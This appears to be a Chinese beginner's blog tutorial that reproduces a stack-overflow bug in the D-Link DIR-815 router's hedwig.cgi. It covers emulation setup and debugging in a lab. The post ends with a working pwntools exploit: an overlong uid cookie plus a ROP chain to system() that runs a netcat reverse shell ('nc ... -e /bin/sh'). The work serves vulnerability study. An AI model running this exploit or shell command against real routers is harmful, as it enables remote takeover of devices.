0x2.DIR-815 漏洞复现 新手入门

1 安装核心工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sudo apt update
sudo apt install -y qemu-system qemu-user qemu-user-static gdb gdb-multiarch file wget curl git python3 python3-pip build-essential liblzma-dev unzip pkg-config libfontconfig1-dev bridge-utils uml-utilities

# 在合适文件夹下执行
sudo apt install docker.io
sudo apt install git
git clone https://github.com/ReFirmLabs/binwalk
cd binwalk
sudo ./build_docker.sh

# 创建一个便于启动binwalk的脚本,并将脚本放入/usr/bin中或将脚本所在文件夹加入PATH

#!/bin/bash
IMAGE="binwalkv3"
USER_ID=$(id -u)
GROUP_ID=$(id -g)
DOCKER_ARGS=(
--rm # 运行后自动删除容器
-it # 交互式 TTY(支持 Ctrl+C、颜色等)
--user "$USER_ID:$GROUP_ID" # 使用当前用户身份运行,避免权限问题
-v "$PWD":/analysis # 挂载当前目录
-w /analysis # 工作目录设为挂载点
--init # 更好的信号处理(可选,需 Docker >= 1.13)
)
exec docker run "${DOCKER_ARGS[@]}" "$IMAGE" "$@"

2 binwalk解包

1
binwalk -Me ./xxx.bin

3 开启桥接网络

/etc/netplan/下创建一个新的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
sudo nvim /etc/netplan/99-brige.yaml

# 写入以下内容
network:
version: 2
renderer: networkd
ethernets:
ens33: {} #这个ens33根据ip addr中显示的具体网卡名填写
bridges:
br0:
interfaces: [ens33] #这个也是同上
dhcp4: true
optional: true

重启服务

1
2
3
4
5
6
7
8
9
10
11
12
13
sudo netplan apply
# 发现有以下桥接网卡就说明配置正确了
39: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether ca:37:a0:f6:02:30 brd ff:ff:ff:ff:ff:ff
inet 192.168.199.133/24 metric 100 brd 192.168.199.255 scope global dynamic br0
valid_lft 1785sec preferred_lft 1785sec
inet6 fe80::c837:a0ff:fef6:230/64 scope link
valid_lft forever preferred_lft forever

# 运行qemu使用桥接网络
sudo mkdir -p /etc/qemu
sudo touch /etc/qemu/bridge.conf
echo "allow all" | sudo tee /etc/qemu/bridge.conf

4 下载debian内核和镜像文件

1
2
3
4
# 在合适文件夹下下载
curl -LO https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
curl -LO https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2
# 下载后的文件做好备份

5 写qemu启动脚本,并用其启动

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-nographic \
-net nic -net bridge,br=br0


#-net bridge,br=br0:此选项使 QEMU 使用已配置的 br0 网桥。
#-nographic:禁用图形界面,直接使用控制台输出。

attachments/Pasted image 20260319011128.png
attachments/Pasted image 20260319011128.png

启动过程会卡一小会,等待即可
账号密码为root/root
attachments/Pasted image 20260319011238.png
attachments/Pasted image 20260319011238.png

检查是否有网络,关闭时按ctrl+a然后再按x关闭

6 测试ssh连接,并使用scp传输文件进入虚拟机

虚拟机启动后默认开启了ssh服务,在宿主机中输入

1
2
3
# ssh连接的地址在虚拟机中通过ip addr查看
ssh -o HostKeyAlgorithms=+ssh-rsa root@192.168.199.135
# 因为虚拟机ssh版本太老,需要指定旧版本加密方式,如果还是报错可以问下ai

attachments/Pasted image 20260319013236.png
attachments/Pasted image 20260319013236.png

切换到rootfs文件夹(就是有bin,etc的文件夹)
把里面的东西塞进压缩包中,然后将压缩包发给虚拟机

1
2
3
4
# 在那个文件夹的父目录,我将该文件夹命名为rootfs了
tar czvf rootfs.tar.gz ./rootfs/
# 用scp发送,一样因为旧版本需要指定加密方式,并且要加上-O兼容旧版
scp -O -o HostKeyAlgorithms=+ssh-rsa -r ./rootfs.tar.gz root@192.168.199.135:/root/

接着创建一个init.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash  
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc\_s.so.1 /lib/
cp lib/libgcc\_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/

cd /
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
# 让所有的执行最后跳转到cgibin中

将此文件传入虚拟机中

1
scp -O -o HostKeyAlgorithms=+ssh-rsa -r ./init.sh root@192.168.199.135:/root

再在宿主机中创建一个http_conf,用于在虚拟机中启动httpd服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
Umask 026  
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
# | 项 | 作用 |
# | -------- | ----------- |
# | Umask | 控制新建文件权限 |
# | PIDFile | 记录 httpd 进程 |
# | LogGMT | 日志时间格式 |
# | ErrorLog | 错误日志路径 |

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
# 控制 httpd 缓冲区和连接数

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { \* }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
# .php → 交给 /usr/sbin/phpcgi 处理
}
}
# 什么文件 → 用什么程序处理

Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #网卡
Address 192.168.199.135 #qemu的ip地址
Port "8080" #对应web访问端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
# 访问 / → 实际访问 /htdocs/web
External
{
/usr/sbin/phpcgi { router\_info.xml }
/usr/sbin/phpcgi { post\_login.xml }
# 访问 router_info.xml → 实际执行 phpcgi
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
# HNAP 是路由器 API
External
{
/usr/sbin/hnap { hnap }
# hnap → hnap
}
IndexNames { index.hnap }
}
}
}
# httpd 监听在哪

然后用scp传入虚拟机的根目录

1
scp -O -o HostKeyAlgorithms=+ssh-rsa -r ./http_conf root@192.168.199.135:/

7 在虚拟机中开启服务

在虚拟机中解压之前传入的文件rootfs

1
2
cd /root
tar -xzvf ./rootfs.tar.gz

attachments/Pasted image 20260320015503.png
attachments/Pasted image 20260320015503.png

切换到rootfs文件夹并将init.sh移到rootfs文件夹中,并执行

1
2
3
4
cd rootfs
mv ../init.sh ./
chmod +x ./init.sh
./init.sh

attachments/Pasted image 20260320021610.png
attachments/Pasted image 20260320021610.png

有两个报错,但是不用管,这两个文件在固件中是链接,而这两个链接是空的,然后执行

1
/httpd -f /http_conf

开启服务
访问地址http://192.168.199.135:8080/hedwig.cgi又回显则开启成功

attachments/Pasted image 20260320021923.png
attachments/Pasted image 20260320021923.png

8 静态分析漏洞

根据漏洞报告得知漏洞存在于hedwig.cgi中

attachments/Pasted image 20260320022221.png
attachments/Pasted image 20260320022221.png

ls看到其指向cgibin,那么逆向cgibin看看
attachments/Pasted image 20260320022714.png
attachments/Pasted image 20260320022714.png

hedwig.cgi进入函数hedwigcgi_main中
进行略微逆向,将变量重命名
attachments/Pasted image 20260320030859.png
attachments/Pasted image 20260320030859.png

这里限制请求为POST请求
简单发现有两处栈溢出
attachments/Pasted image 20260320023611.png
attachments/Pasted image 20260320023611.png

attachments/Pasted image 20260320023623.png
attachments/Pasted image 20260320023623.png

原因都是uid长度未做限制也未做检查,而uid会被直接接入vuln_s中,vuln_s长度限制为1024
(但是我只用上了第一个栈溢出点,因为有个xml的检查不知如何绕过)
简单分析sess_get_uid,可以知道它是在cookie中找到uid项,取等号后面的一串内容返回作为uid的值
attachments/Pasted image 20260320024839.png
attachments/Pasted image 20260320024839.png

attachments/Pasted image 20260320024824.png
attachments/Pasted image 20260320024824.png

而sobj_get_string则是判断uid不为空且uid+20处不为\x00则返回uid+20处的地址,也就是跳过了前20个字节
attachments/Pasted image 20260320025854.png
attachments/Pasted image 20260320025854.png

1
2
3
4
5
逆向小知识:
(int)uid + 20 是 uid_addr + 20

(int*)uid + 20 是 uid_addr + 20 * 4
因为int*是代表4个字节

检查一下保护

attachments/Pasted image 20260320031141.png
attachments/Pasted image 20260320031141.png

几乎等于什么保护都没开
因为是http协议,我们从浏览器中借一段http协议的报文来用用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.log_level = "debug"
io = remote("192.168.199.135", 8080)

length = 20 + 1024 - 17 + 8

cookie_payload = b"a" * length
#body = b"a=<postxml><postxml><test>test</test></postxml></postxml>"
#body = b"<postxml>test</postxml>"
body = b""
request = b""
request+= b"POST /hedwig.cgi HTTP/1.1\r\n"
request+= b"Host: 192.168.199.135:8080\r\n"
request+= b"User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0\r\n"
request+= b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
request+= b"Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5\r\n"
request+= b"Accept-Encoding: gzip, deflate\r\n"
request+= b"Connection: keep-alive\r\n"
request+= b"Upgrade-Insecure-Requests: 1\r\n"
request+= b"Cookie: uid=" + cookie_payload + b"\r\n"
request+= b"Content-Type: application/x-www-form-urlencoded\r\n"
#request+= b"Content-Type: application/xml\r\n"
request+= b"Content-Length: " + str(len(body)).encode() + b"\r\n"
request+= b"Priority: u=0, i\r\n\r\n"
request+= body


print(request)
io.send(request)
io.interactive()

浏览器的请求头没有Cookie,我们自己加上,Content-Type和Content-Length等Post请求相关的参数也加上,body为空即可
发送请求后返回no xml data则是正确的

attachments/Pasted image 20260321011641.png
attachments/Pasted image 20260321011641.png

测试会发现当uid过大会出现500错误,表示cgi未正常返回数据,也就是cgi崩溃了
attachments/Pasted image 20260321011748.png
attachments/Pasted image 20260321011748.png

接下来准备动态调试,确认一下溢出是否成功

9 gdbserver动态调试查看

下载已编译好的mipsel的gdbserver,并解压传入虚拟机中

1
2
3
4
5
6
7
8
curl -LO https://github.com/guyush1/gdb-static/releases/download/v17.1-static/gdb-static-slim-mipsel.tar.gz
# 创建个文件夹存放解压内容
mkdir ./gdb-mipsel
# -C 指定存放文件夹
tar xzvf ./gdb-static-slim-mipsel.tar.gz -C ./gdb-mipsel

# 传入虚拟机中
scp -o HostKeyAlgorithms=+ssh-rsa -r ~/0x1.Tools/gdb-mipsel/gdbserver root@192.168.199.135:/

在虚拟机中先开启服务,然后查看其pid,用gdbserver连接

1
2
3
4
./httpd -f ./http_conf
ps -aux | grep httpd

gdbserver :1234 --attach PID

接着在宿主机启动gdb-multiarch,连接上gdbserver并捕捉exec以能够在cgibin处停下

1
2
3
4
gdb-multiarch
target remote 192.168.199.135:1234
catch exec
c

执行脚本,在cgibin中start中停下则是成功

attachments/Pasted image 20260321032436.png
attachments/Pasted image 20260321032436.png

.text:0040967C li $a1, aSSPostxml # "%s/%s/postxml"处下断点停下

1
2
b *0x0040967C
c

attachments/Pasted image 20260321035931.png
attachments/Pasted image 20260321035931.png

在它执行完毕后,查看栈
attachments/Pasted image 20260321040002.png
attachments/Pasted image 20260321040002.png

可以发现确实进行了溢出

10 编写ROP链getshell

编写ROP链不能用其本身的gadget片段,因为其地址长度小于四个字节,发送时会截断后面内容(例如:/x11/x22/x33/x00),所以得去lib里面找gadget片段,且由于未开启ASLR保护,所以偏移固定。
因为system的地址有点特殊

attachments/Pasted image 20260321050459.png
attachments/Pasted image 20260321050459.png

\x00会使报文截断,所以在传输使发送system_addr-1,然后再利用addiu将其加回来。
下载一个ropper,搜寻所需gadget(根据其他师傅的博客查找的)

1
pip install ropper 

这里将s0控制为system-1的地址后执行,则s0会等于system地址,再令s5为下一个gadget的地址则可继续控制执行流

attachments/Pasted image 20260321050225.png
attachments/Pasted image 20260321050225.png

这段gadget令s0的值赋给t9,然后再跳转t9,成功执行system,且将sp的值加上0x10存储在s5中,并最后令a0为s5,而a0便是第一个参数,从而控制system的参数
attachments/Pasted image 20260321050931.png
attachments/Pasted image 20260321050931.png

其中会用到s0和s5,而其都可从hedwigcgi_main中控制,我们需要让ra等于gadget_1(base+0x158c8),s5等于gadget_2(base+0x159cc),s0等于system_addr-1(base+0x531ff)
attachments/Pasted image 20260321051146.png
attachments/Pasted image 20260321051146.png

在cgibin中运行时,查看vmmap,得到偏移
(这里的图片是错误的,实际偏移在关闭aslr后再查看,关闭的指令是echo 0 > /proc/sys/kernel/randomize_va_space,此指令在重启后便会失效)
attachments/Pasted image 20260321052257.png
attachments/Pasted image 20260321052257.png

断在cgibin的0x409a24处调试看看
attachments/Pasted image 20260321054459.png
attachments/Pasted image 20260321054459.png

注意看这里有个+0x10所以cmd前要垫16个字符
调试半天发现能执行system但是怪怪的,往后看发现是后面拼接的postxml并入cmd中了,用;||分隔应该就可以了(用||则system不会报错)
attachments/Pasted image 20260321055519.png
attachments/Pasted image 20260321055519.png

最后也是成功连接上监听的nc
attachments/Pasted image 20260321060140.png
attachments/Pasted image 20260321060140.png

以下是利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context.log_level = "debug"
io = remote("192.168.199.135", 8080)

base = 0x77f34000
system_addr = 0x53200
# 0x000158c8: move $t9, $s5; jalr $t9; addiu $s0, $s0, 1;
gadget_1 = 0x158c8

# 0x000159cc: addiu $s5, $sp, 0x10; move $a1, $s3; move $a2, $s1; move $t9, $s0; jalr $t9; move $a0, $s5;
gadget_2 = 0x159cc

cmd = b"nc 192.168.199.133 7777 -e /bin/sh || "

length = 20 + 1024 - 17 + 8 + 8 - 0x24

cookie_payload = b"a" * length
cookie_payload+= p32(base+system_addr-1)
cookie_payload+= b"b" * 4 * 4
cookie_payload+= p32(base+gadget_2)
cookie_payload+= b"c" * 4 * 3
cookie_payload+= p32(base+gadget_1)
cookie_payload+= b"d"*0x10
cookie_payload+= cmd

body = b""
request = b""
request+= b"POST /hedwig.cgi HTTP/1.1\r\n"
request+= b"Host: 192.168.199.135:8080\r\n"
request+= b"User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0\r\n"
request+= b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
request+= b"Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5\r\n"
request+= b"Accept-Encoding: gzip, deflate\r\n"
request+= b"Connection: keep-alive\r\n"
request+= b"Upgrade-Insecure-Requests: 1\r\n"
request+= b"Cookie: uid=" + cookie_payload + b"\r\n"
request+= b"Content-Type: application/x-www-form-urlencoded\r\n"
#request+= b"Content-Type: application/xml\r\n"
request+= b"Content-Length: " + str(len(body)).encode() + b"\r\n"
request+= b"Priority: u=0, i\r\n\r\n"
request+= body


print(request)
io.send(request)

print(cookie_payload)
io.interactive()
本作品由 automata 于 2026-03-21 00:00:00 发布
作品地址:0x2.DIR-815 漏洞复现 新手入门
除特别声明外,本站作品均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自 凹凸麦塔
Logo
上一篇0x1.GWDB-2022-0012-施耐德电气IGSS堆越界写漏洞下一篇CTF-pwn-Ubuntu2404-环境搭建